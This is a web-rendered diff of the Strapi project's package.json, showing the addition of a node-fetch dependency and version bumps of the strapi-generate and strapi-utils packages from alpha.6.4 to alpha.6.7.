"description": "An open source solution to create and manage your own API. It provides a powerful dashboard and features to make your life easier.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -49,16 +49,17 @@
|
|||||||
"koa-session": "^5.5.0",
|
"koa-session": "^5.5.0",
|
||||||
"koa-static": "^4.0.1",
|
"koa-static": "^4.0.1",
|
||||||
"lodash": "^4.16.5",
|
"lodash": "^4.16.5",
|
||||||
|
"node-fetch": "^1.7.3",
|
||||||
"node-schedule": "^1.2.0",
|
"node-schedule": "^1.2.0",
|
||||||
"semver": "^5.4.1",
|
"semver": "^5.4.1",
|
||||||
"stack-trace": "0.0.10",
|
"stack-trace": "0.0.10",
|
||||||
"strapi-generate": "3.0.0-alpha.6.4",
|
"strapi-generate": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-admin": "3.0.0-alpha.6.4",
|
"strapi-generate-admin": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-api": "3.0.0-alpha.6.4",
|
"strapi-generate-api": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-new": "3.0.0-alpha.6.4",
|
"strapi-generate-new": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-policy": "3.0.0-alpha.6.4",
|
"strapi-generate-policy": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-service": "3.0.0-alpha.6.4",
|
"strapi-generate-service": "3.0.0-alpha.6.7",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"author": {
|
"author": {
|
||||||
"email": "hi@strapi.io",
|
"email": "hi@strapi.io",
|
||||||
|
Loading…
x
Reference in New Issue
Block a user